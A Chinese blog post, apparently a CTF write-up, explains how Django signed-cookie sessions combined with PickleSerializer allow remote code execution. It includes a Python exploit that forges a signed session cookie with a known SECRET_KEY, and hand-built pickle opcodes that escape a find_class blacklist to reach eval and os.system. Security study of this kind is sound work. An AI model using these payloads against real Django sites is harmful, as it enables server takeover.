由Django-Session配置引发的反序列化安全问题

漏洞成因

漏洞成因位于目标配置文件settings.py下

关于这两个配置项

SESSION_ENGINE:

在Django中,SESSION_ENGINE 是一个设置项,用于指定用于存储和处理会话(session)数据的引擎。

SESSION_ENGINE 设置项允许您选择不同的后端引擎来存储会话数据,例如:

  1. 1. 数据库后端 (django.contrib.sessions.backends.db):会话数据存储在数据库表中。这是Django的默认会话引擎。

  2. 2. 缓存后端 (django.contrib.sessions.backends.cache):会话数据存储在缓存中,例如Memcached或Redis。这种方式适用于需要快速读写和处理大量会话数据的情况。

  3. 3. 文件系统后端 (django.contrib.sessions.backends.file):会话数据存储在服务器的文件系统中。这种方式适用于小型应用,不需要高级别的安全性和性能。

  4. 4. 签名Cookie后端 (django.contrib.sessions.backends.signed_cookies):会话数据以签名的方式存储在用户的Cookie中。这种方式适用于小型会话数据,可以提供一定程度的安全性。

  5. 5. 缓存数据库后端 (django.contrib.sessions.backends.cached_db):会话数据存储在缓存中,并且在需要时备份到数据库。这种方式结合了缓存和持久性存储的优势。

SESSION_SERIALIZER:

SESSION_SERIALIZER 是Django设置中的一个选项,用于指定Django如何对会话(session)数据进行序列化和反序列化。会话是一种在Web应用程序中用于存储用户状态信息的机制,例如用户登录状态、购物车内容、用户首选项等。

通过配置SESSION_SERIALIZER,您可以指定Django使用哪种数据序列化格式来处理会话数据。Django支持多种不同的序列化格式,包括以下常用的选项:

  1. 1. **'django.contrib.sessions.serializers.JSONSerializer'**:使用JSON格式来序列化和反序列化会话数据。JSON是一种通用的文本格式,具有良好的可读性和跨平台兼容性。

  2. 2. **'django.contrib.sessions.serializers.PickleSerializer'**:使用Python标准库中的pickle模块来序列化和反序列化会话数据。

那么上述配置项的意思就是使用cookie来存储session的签名,然后使用pickle在c/s两端进行序列化和反序列化。

紧接着看看Django中的/core/signing模块:(Django==2.2.5)

主要看看函数参数即可

key:验签中的密钥

serializer:指定序列化和反序列化类

def dumps(obj, key=None, salt='django.core.signing', serializer=JSONSerializer, compress=False):"""Return URL-safe, hmac/SHA1 signed base64 compressed JSON string. If key isNone, use settings.SECRET_KEY instead.If compress is True (not the default), check if compressing using zlib cansave some space. Prepend a '.' to signify compression. This is includedin the signature, to protect against zip bombs.Salt can be used to namespace the hash, so that a signed string isonly valid for a given namespace. Leaving this at the defaultvalue or re-using a salt value across different parts of yourapplication without good cause is a security risk.The serializer is expected to return a bytestring."""data = serializer().dumps(obj)  # 使用选定的类进行序列化# Flag for if it's been compressed or notis_compressed = False# 数据压缩处理if compress:# Avoid zlib dependency unless compress is being usedcompressed = zlib.compress(data)if len(compressed) < (len(data) - 1):data = compressedis_compressed = Truebase64d = b64_encode(data).decode()   # base64编码 decode转化成字符串if is_compressed:base64d = '.' + base64dreturn TimestampSigner(key, salt=salt).sign(base64d) # 返回一个签名值# loads的过程为dumps的逆过程
def loads(s, key=None, salt='django.core.signing', serializer=JSONSerializer, max_age=None):"""Reverse of dumps(), raise BadSignature if signature fails.The serializer is expected to accept a bytestring."""# TimestampSigner.unsign() returns str but base64 and zlib compression# operate on bytes.base64d = TimestampSigner(key, salt=salt).unsign(s, max_age=max_age).encode()decompress = base64d[:1] == b'.'if decompress:# It's compressed; uncompress it firstbase64d = base64d[1:]data = b64_decode(base64d)if decompress:data = zlib.decompress(data)return serializer().loads(data)

看看两个签名的类:

在Signer类中中:

class Signer:def __init__(self, key=None, sep=':', salt=None):# Use of native strings in all versions of Pythonself.key = key or settings.SECRET_KEY # key默认为settings中的配置项   self.sep = sepif _SEP_UNSAFE.match(self.sep):raise ValueError('Unsafe Signer separator: %r (cannot be empty or consist of ''only A-z0-9-_=)' % sep,)self.salt = salt or '%s.%s' % (self.__class__.__module__, self.__class__.__name__)def signature(self, value):# 利用salt、value、key做一次签名return base64_hmac(self.salt + 'signer', value, self.key)def sign(self, value):return '%s%s%s' % (value, self.sep, self.signature(value))def unsign(self, signed_value):if self.sep not in signed_value:raise BadSignature('No "%s" found in value' % self.sep)value, sig = signed_value.rsplit(self.sep, 1)if constant_time_compare(sig, self.signature(value)):return valueraise BadSignature('Signature "%s" does not match' % sig)

还有一个是时间戳的验签部分

class TimestampSigner(Signer):def timestamp(self):return baseconv.base62.encode(int(time.time()))def sign(self, value):value = '%s%s%s' % (value, self.sep, self.timestamp())return super().sign(value)def unsign(self, value, max_age=None):"""Retrieve original value and check it wasn't signed morethan max_age seconds ago."""result = super().unsign(value)value, timestamp = result.rsplit(self.sep, 1)timestamp = baseconv.base62.decode(timestamp)if max_age is not None:if isinstance(max_age, datetime.timedelta):max_age = max_age.total_seconds()# Check timestamp is not older than max_ageage = time.time() - timestampif age > max_age:raise SignatureExpired('Signature age %s > %s seconds' % (age, max_age))return value

时间戳主要是为了判断session是否过期,因为设置了一个max_age字段,做了差值进行比较

图片

漏洞调试

我直接以ez_py的题目环境为漏洞调试环境(Django==2.2.5)

  • • 老惯例,先看栈帧

django/contrib/auth/middleware.py为处理Django框架中的身份验证和授权的中间件类,协助处理了HTTP请求

图片

  • • AuthenticationMiddleware中调用了get_user用于获取session中的连接对象身份

图片

  • • 随后调用Django auth模块下的get_user函数和_get_user_session_key函数

图片

图片

  • • 随后进行session的字典读取。由于加载session的过程为懒加载过程(lazy load),所以在读取SESSION_KEY的时候会进行_get_session函数运行,从而触发session的反序列化

图片

图片

图片

  • • loads函数中的操作

首先先进行session是否过期的检验,随后base64解码和zlib数据解压缩,提取出python字节码

最后扔入pickle进行字节码解析

图片

漏洞利用

首先利用条件如下:

图片

以cookie方式存储session,实现了交互。

以Pickle为反序列化类,触发__reduce__函数的执行,实现RCE

EXP如下:

import os
import django.core.signing
import requests# from Django.contrib.sessions.serializers.PickleSerializer
import pickle
class PickleSerializer:"""Simple wrapper around pickle to be used in signing.dumps andsigning.loads."""protocol = pickle.HIGHEST_PROTOCOLdef dumps(self, obj):return pickle.dumps(obj, self.protocol)def loads(self, data):return pickle.loads(data)SECRET_KEY = 'p(^*@36nw13xtb23vu%x)2wp-vk)ggje^sobx+*w2zd^ae8qnn'
salt = "django.contrib.sessions.backends.signed_cookies"class exp():def __reduce__(self):# 返回一个callable 及其参数的元组return os.system, (('calc.exe'),)_exp = exp()
cookie_opcodes = django.core.signing.dumps(_exp, key=SECRET_KEY, salt=salt, serializer=PickleSerializer)
print(cookie_opcodes)resp = requests.get("http://127.0.0.1:8000/auth", cookies={"sessionid": cookie_opcodes})

图片

Code-Breaking-Django调试

这道题是P神文章中的题目,题目源码在这:https://github.com/phith0n/code-breaking/blob/master/2018/picklecode

find_class沙盒逃逸

关于find_class:

简单来说,这是python pickle建议使用的安全策略,这个函数在pickle字节码调用c(即import)时会进行校验,校验函数由自己定义

import pickle
import io
import builtins__all__ = ('PickleSerializer', )class RestrictedUnpickler(pickle.Unpickler):blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'}def find_class(self, module, name):         # python字节码解析后调用了全局类或函数 import行为 就会自动调用find_class方法# Only allow safe classes from builtins.if module == "builtins" and name not in self.blacklist:        # 检查调用的类是否为内建类, 以及函数名是否出现在黑名单内return getattr(builtins, name)# Forbid everything else.raise pickle.UnpicklingError("global '%s.%s' is forbidden" %(module, name))class PickleSerializer():def dumps(self, obj):return pickle.dumps(obj)def loads(self, data):try:# 校验data是否为字符串if isinstance(data, str):raise TypeError("Can't load pickle from unicode string")file = io.BytesIO(data)                     # 读取datareturn RestrictedUnpickler(file,encoding='ASCII', errors='strict').load()except Exception as e:return {}

第一是要手撕python pickle opcode绕过find_class,这个过程使用到了getattr函数,这个函数有如下用法

class Person:def __init__(self, name):self.name = name# 获取对象属性值
person = Person("Alice")
name = getattr(person, "name")
print(name)# 调用对象方法
a = getattr(builtins, "eval")
a("print(1+1)")# 可以设置default值
age = getattr(person, "age", 30)
print(age)builtins.getattr(builtins, "eval")("print(1+1)")

那么同理,也可以通过getattr调用eval

加载上下文:由于后端在实现时,import了一些包

图片

(这部分包的上下文可以使用globals()函数获得)

所以可以直接导入builtins中的getattr,最终通过获取globals()中的__builtins__来获取eval等

getattr = GLOBAL('builtins', 'getattr')  # GLOBAL为导入
dict = GLOBAL('builtins', 'dict')  
dict_get = getattr(dict, 'get')
globals = GLOBAL('builtins', 'globals')
builtins = globals()    
__builtins__ = dict_get(builtins, '__builtins__')   # 获取真正的__builtins__
eval = getattr(__builtins__, 'eval')
eval('__import__("os").system("calc.exe")')
return

图片

查看Django.core.signing模块,复刻sign写exp

from django.core import signing
import pickle
import io
import builtins
import zlib
import base64PayloadToBeEncoded = b'cbuiltins\ngetattr\np0\n0cbuiltins\ndict\np1\n0g0\n(g1\nS\'get\'\ntRp2\n0cbuiltins\nglobals\np3\n0g3\n(tRp4\n0g2\n(g4\nS\'__builtins__\'\ntRp5\n0g0\n(g5\nS\'eval\'\ntRp6\n0g6\n(S\'__import__("os").system("calc.exe")\'\ntR.'SECURE_KEY = "p(^*@36nw13xtb23vu%x)2wp-vk)ggje^sobx+*w2zd^ae8qnn"
salt = "django.contrib.sessions.backends.signed_cookies"def b64_encode(s):return base64.urlsafe_b64encode(s).strip(b"=")base64d = b64_encode(PayloadToBeEncoded).decode()def exp(key, payload):global salt# Flag for if it's been compressed or not.is_compressed = Falsecompress = Falseif compress:# Avoid zlib dependency unless compress is being used.compressed = zlib.compress(payload)if len(compressed) < (len(payload) - 1):payload = compressedis_compressed = Truebase64d = b64_encode(payload).decode()if is_compressed:base64d = "." + base64dsession = signing.TimestampSigner(key=key, salt=salt).sign(base64d)print(session)

然后传session即可

参考

  1. 1. https://www.leavesongs.com/PENETRATION/code-breaking-2018-python-sandbox.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/145497.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

buuctf[极客大挑战 2019]Havefun 1

网页环境title标题每一帧都不要放过&#xff0c;或许那个不起眼的地方就存在重要信息到这并未发现什么重要信息&#xff0c;F12看看在源代码底部发现PHP代码&#xff1a; <!-- $cat$_GET[cat]; echo $cat; if($catdog){ echo Syc{cat_cat_cat_cat}; } --> PHP代码…

账号合租平台源码Thinkphp6.1|内置详细搭建教程

小白账号合租平台说明 系统采用的是常见的租号平台模式,现在网络上流出的这种类型的源码还很少 平台介绍 1.租号模式,用户可自行选择单独租号或采用合租的模式。 2.支付,采用易支付通用接口 3.邀请返利,为了站长能更好推广推荐了邀请返利功能 4.用户提现功能 5.工单…

【QT开发(11)】QT 线程QThread

Qt的线程支持与平台无关的&#xff1a; 线程类、一个线程安全的发送事件方式跨线程的信号-槽的关联 这使得可以从分利用多处理器机器&#xff0c;有效解决不冻结一份应用程序用户界面的情况下&#xff0c;处理一个耗时操作的问题。 文章目录 1、QThread 一个与平台无关的线程…

19、zynq核引出外部引脚

自动连接所有管脚后&#xff0c;没法通过make external来引出ps端的引脚&#xff0c;此时可以右击管脚&#xff0c;选择create port来引出。

塔望3W消费战略全案丨大闸蟹上品标准的力量

​苏蟹阁 客户&#xff1a;上海苏蟹阁实业有限公司 品牌&#xff1a;苏蟹阁 时间&#xff1a;2019年起 &#xff08;项目部分内容保密期&#xff09; 重新定义好蟹 大闸蟹的品牌创新 2006年&#xff0c;位于苏州海鲜市场内一间不起眼的小门店&#xff0c;简陋的连店名也没…

架构案例分析重点

架构案例分析重点 信息系统架构架构图 层次式架构&#xff08;可能考点&#xff09;表现层框架设计中间层架构设计数据访问层数据访问层工厂模式的设计&#xff08;一个考点&#xff09; 物联网三层 云原生架构面向服务架构(SOA)SOA设计模式 嵌入式系统架构鸿蒙操作系统&#x…

数据结构 哈希表

数据结构 哈希表 文章目录 数据结构 哈希表1. 概念2. 冲突-概念3. 冲突-避免3.1 哈希函数设计3.2 负载因子调节 4.冲突-解决4.1 闭散列4.2 开散列(哈希桶)4.3 哈希桶实现 5. 性能分析6. 和java类集的关系 1. 概念 顺序结构以及平衡树中&#xff0c;元素关键码与其存储位置之间…

STM32不使用 cubeMX实现外部中断

这篇文章将介绍如何不使用 cubeMX完成外部中断的配置和实现。 文章目录 前言一、文件加入工程二、代码解析exti.cexti.hmain.c 注意&#xff1a;总结 前言 实验开发板&#xff1a;STM32F103C8T6。所需软件&#xff1a;keil5 &#xff0c; cubeMX 。实验目的&#xff1a;如何不…

1024程序员狂欢节有好礼 | 前沿技术、人工智能、集成电路科学与芯片技术、新一代信息与通信技术、网络空间安全技术

&#x1f339;欢迎来到爱书不爱输的程序猿的博客, 本博客致力于知识分享&#xff0c;与更多的人进行学习交流 1024程序员狂欢节有好礼 &#x1f6a9;&#x1f6a9;&#x1f6a9;点击直达福利前言一、IT技术 IT Technology《速学Linux&#xff1a;系统应用从入门到精通》《Pytho…

基于springboot+vue网上图书商城54

大家好✌&#xff01;我是CZ淡陌。一名专注以理论为基础实战为主的技术博主&#xff0c;将再这里为大家分享优质的实战项目&#xff0c;本人在Java毕业设计领域有多年的经验&#xff0c;陆续会更新更多优质的Java实战项目&#xff0c;希望你能有所收获&#xff0c;少走一些弯路…

顶级玩家:一招搞定 App 自动化老大难问题

很多人在学习 App 自动化或者在项目中落地实践 App 自动化时&#xff0c;会发现编写的自动化脚本无缘无故的执行失败、不稳定。 而导致其问题很大原因是因为应用的各种弹窗&#xff08;升级弹窗、使用过程提示弹窗、评价弹窗等等&#xff09;&#xff0c;比如这样的&#xff1a…

深入篇【Linux】学习必备:进程环境变量/进程切换

深入篇【Linux】学习必备&#xff1a;进程环境变量/进程切换 Ⅰ.环境变量Ⅱ.深层意义Ⅲ.全局属性Ⅳ.进程切换 Ⅰ.环境变量 1.环境变量是什么&#xff1f;&#xff1a;环境变量是系统提供的一组name/value形式的变量&#xff0c;不同的环境变量有不同的用户。 一般是用来指定操作…